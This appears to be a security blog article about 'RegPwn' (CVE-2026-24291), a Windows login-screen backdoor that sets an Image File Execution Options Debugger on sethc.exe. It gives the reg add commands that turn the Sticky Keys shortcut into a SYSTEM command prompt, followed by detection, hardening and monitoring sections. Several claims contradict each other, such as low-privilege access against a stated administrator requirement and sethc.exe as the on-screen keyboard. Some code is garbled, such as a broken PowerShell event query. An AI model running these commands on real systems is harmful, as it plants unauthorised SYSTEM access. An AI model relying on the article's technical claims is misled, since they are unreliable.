RegPwn: The 0-Day That Weaponized Windows Accessibility For Stealth Privilege Escalation + Video

Introduction:

A newly disclosed Local Privilege Escalation (LPE) vulnerability, tracked as CVE-2026-24291 and dubbed “RegPwn,” demonstrates a sophisticated shift in adversary tradecraft. Exploiting built-in Windows Accessibility features like the on-screen keyboard, this flaw allows attackers to gain SYSTEM-level privileges without writing malicious files to disk or spawning suspicious processes. The vulnerability’s extremely low detection footprint makes it a potent tool for post-exploitation persistence, as its registry modifications masquerade as normal user configuration changes, evading traditional endpoint detection and response (EDR) solutions.

Learning Objectives:

Understand the mechanism behind CVE-2026-24291 and how it leverages Windows Accessibility features for privilege escalation.
Identify the affected Windows systems and the specific registry paths targeted by the exploit.
Learn to detect indicators of compromise (IOCs) associated with this technique and implement effective mitigation strategies.

You Should Know:

Anatomy of the RegPwn Exploit: Accessibility Features as an Attack Vector

The core of CVE-2026-24291 lies in the way Windows handles debugger and image file execution options (IFEO) for accessibility binaries. When a user invokes an accessibility tool—such as the on-screen keyboard (sethc.exe) or the sticky keys prompt (sethc.exe via shift key presses) at the login screen—Windows checks specific registry keys to determine which application to launch. An attacker with local, low-privileged access can modify these registry keys to point to a malicious executable or, in this exploit’s case, to a legitimate Windows binary that can be abused to spawn a SYSTEM shell.

The exploit does not require the creation of new files. Instead, it relies on modifying the registry path `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe` to set the `Debugger` value. By setting this value to `cmd.exe` or powershell.exe, an attacker can trigger a command prompt with SYSTEM privileges simply by pressing the Shift key five times at the login screen.

Step-by-step guide explaining what this does and how to use it:
To simulate the exploitation process (in a controlled lab environment), a local administrator or a user with the `SeRestorePrivilege` can perform the following:

1. Verify Current Configuration:

Open Command Prompt as an administrator and query the existing IFEO settings:

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe"

If no `Debugger` value is set, the system is in a default state.

2. Set the Debugger Value:

Execute the following command to configure `sethc.exe` to launch a command prompt:

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "cmd.exe" /f

3. Trigger the Exploit:

Lock the workstation (Windows Key + L). At the login screen, press the Shift key five times in rapid succession. Instead of the Sticky Keys prompt, a command prompt will appear, running with SYSTEM privileges due to the `winlogon.exe` process invoking the debugger.

4. Post-Exploitation Cleanup:

To restore normal functionality, delete the added registry key:

reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /f

2. Detection Strategies and Forensic Artifacts

Given the exploit’s stealthy nature—no new files, no suspicious binaries—detection shifts to monitoring registry modifications and abnormal process invocation chains. Security teams must look for changes to protected registry keys that are rarely modified in normal operations. The primary detection point is the `Image File Execution Options` (IFEO) key for accessibility binaries.

Step-by-step guide explaining what this does and how to use it:
To proactively hunt for this exploit, system administrators and security analysts can deploy the following techniques:

Registry Monitoring with Sysmon (Windows):
Configure Sysmon to log changes to the IFEO registry paths. A specific rule to monitor for writes to `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\` will capture this activity.

Example Sysmon Config Snippet:

<RegistryEvent onmatch="include">
<TargetObject condition="contains">Image File Execution Options</TargetObject>
</RegistryEvent>

Analysis: Event ID 13 in the Windows Event Log will show the exact registry path and the new value, allowing analysts to identify unauthorized `Debugger` additions.
Audit Process Creation (Windows):
Enable advanced audit policy settings to log process creation, specifically monitoring for `sethc.exe` being invoked by `winlogon.exe` and subsequently spawning cmd.exe.
Enable via Group Policy: Computer Configuration > Windows Settings > Security Settings > Advanced Audit Policy Configuration > System Audit Policies > Detailed Tracking > “Audit Process Creation”.

Command to Query Events:

Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688} | Where-Object { $<em>.Properties[bash].Value -like 'sethc' -or $</em>.Properties[bash].Value -like 'cmd.exe' } | Format-List

Endpoint Detection and Response (EDR) Rules:
EDR platforms should be tuned to detect the creation of a child process from `winlogon.exe` that is not a standard accessibility executable. Specifically, a rule flagging `winlogon.exe` spawning `cmd.exe` or `powershell.exe` would indicate a high-fidelity alert for this technique.

3. Mitigation and Hardening Against Accessibility Feature Abuse

Preventing exploitation of CVE-2026-24291 requires a multi-layered approach that balances security with usability. The most effective mitigation is to disable unnecessary accessibility features or restrict the ability to modify the associated registry keys.

Step-by-step guide explaining what this does and how to use it:
System administrators can implement the following hardening measures across their Windows fleet:

Disable Sticky Keys Shortcut via Group Policy:
Configure Group Policy to prevent the Shift key shortcut from invoking Sticky Keys. This removes the primary attack surface without removing the underlying binaries.
Path: Computer Configuration > Administrative Templates > System > Accessibility Features.
Setting: Set “Turn off Sticky Keys” to Enabled. This prevents the shortcut, but the binary remains.
Restrict Write Access to IFEO Keys:
Use Group Policy or a configuration management tool to enforce strict permissions on the `Image File Execution Options` key. Standard users should not have write access to this registry hive. Audit the current permissions using:
```
Get-Acl -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | Format-List
```
Application Control (WDAC or AppLocker):
Implement Windows Defender Application Control (WDAC) or AppLocker to enforce rules that prevent unintended binaries from being launched from `winlogon.exe` or to ensure that only signed, approved executables can run from the `System32` folder. This acts as a “kill chain” break, preventing the debugger from executing even if the registry is modified.

4. Linux Parallels and Cross-Platform Implications

While this vulnerability is Windows-specific, the underlying technique—abusing built-in system features for privilege escalation—has parallels in the Linux ecosystem. In Linux, similar concepts exist where debuggers, cron jobs, or SUID binaries can be manipulated for LPE. Understanding these cross-platform analogies helps security professionals develop a holistic defense strategy.

Similar Linux Concepts:
LD_PRELOAD Hijacking: Similar to IFEO, attackers can set the `LD_PRELOAD` environment variable to force a program to load a malicious shared library before others.
SUID Binary Abuse: A misconfigured SUID binary can be exploited to spawn a root shell.
Cron Job Manipulation: If a cron job runs a script with writable permissions, an attacker can inject commands.

Detection Commands on Linux:
To hunt for analogous activity on Linux, security analysts can use the following commands:

Find all SUID binaries
find / -perm -4000 2>/dev/null

Monitor for LD_PRELOAD usage in processes
ps aux | grep -i ld_preload

Check for modified debugger paths in gdb
cat /proc/sys/kernel/yama/ptrace_scope

5. Advanced Persistence and Post-Exploitation Tradecraft

CVE-2026-24291 is not merely a privilege escalation tool; it can serve as a powerful persistence mechanism. Once SYSTEM access is obtained, an attacker can implant the registry modification to ensure that they can regain a high-integrity console on the next system reboot or any time the login screen is active. This persistence method is fileless, residing solely in the registry, making it extremely difficult for traditional antivirus to detect.

Step-by-step guide explaining what this does and how to use it:
For a defender’s perspective on post-exploitation analysis, one must understand how attackers might extend this technique:

Alternate Accessibility Binaries:
While `sethc.exe` is the most common target, attackers may also target `utilman.exe` (launched via Windows Key + U), narrator.exe, or magnify.exe. A thorough registry check should include all accessibility binaries.
Registry Forensics:
Analysts should extract the `SYSTEM` hive from a compromised machine and analyze it offline. Using tools like `RegRipper` or manual analysis with `regedit` to load the hive can reveal malicious IFEO entries.

Defensive Script for Monitoring:
Deploy a scheduled task to regularly check the IFEO keys and alert if a `Debugger` value is set for any accessibility binary.

$Paths = @(
"HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe",
"HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe",
"HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe"
)
foreach ($Path in $Paths) {
$Debugger = (Get-ItemProperty -Path $Path -Name "Debugger" -ErrorAction SilentlyContinue).Debugger
if ($Debugger) {
Write-Warning "Potential LPE detected: Debugger set for $Path to $Debugger"
}
}

What Undercode Say:

Stealth is the New Standard: RegPwn highlights that attackers are moving away from noisy, file-based exploits to fileless, living-off-the-land techniques that blend into normal system operations. Traditional antivirus is largely ineffective against such threats.
Detection Shifts to Configuration: The exploit’s success depends on a single registry modification. This underscores the necessity for robust configuration management, continuous compliance scanning, and EDR solutions that monitor registry integrity as a primary detection vector.
Mitigation is Proactive: Disabling unnecessary accessibility features in enterprise environments is not just a usability decision; it is a critical security control. Organizations must balance user needs with risk, implementing strict Group Policies to harden these often-overlooked attack surfaces.
Forensic Artifacts Exist: Despite its stealth, the attack leaves clear digital footprints in registry logs and process creation events. Security operations centers (SOCs) must invest in the proper telemetry—specifically Sysmon and advanced audit policies—to capture these subtle indicators.

Prediction:

As CVE-2026-24291 gains public awareness, we can anticipate a surge in its integration into post-exploitation frameworks like Cobalt Strike and Metasploit. The exploit’s fileless nature will drive a new wave of “living off the land” (LotL) attack chains, where attackers chain this LPE with other techniques to maintain persistence. In response, Microsoft will likely release a patch that introduces stricter validation of IFEO keys or changes the security context under which accessibility features run. Organizations that delay patching will face increased risks, while those with mature EDR and configuration management will be better positioned to detect and block this threat.

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Reported By: Dmitriy Galasli – Hackers Feeds
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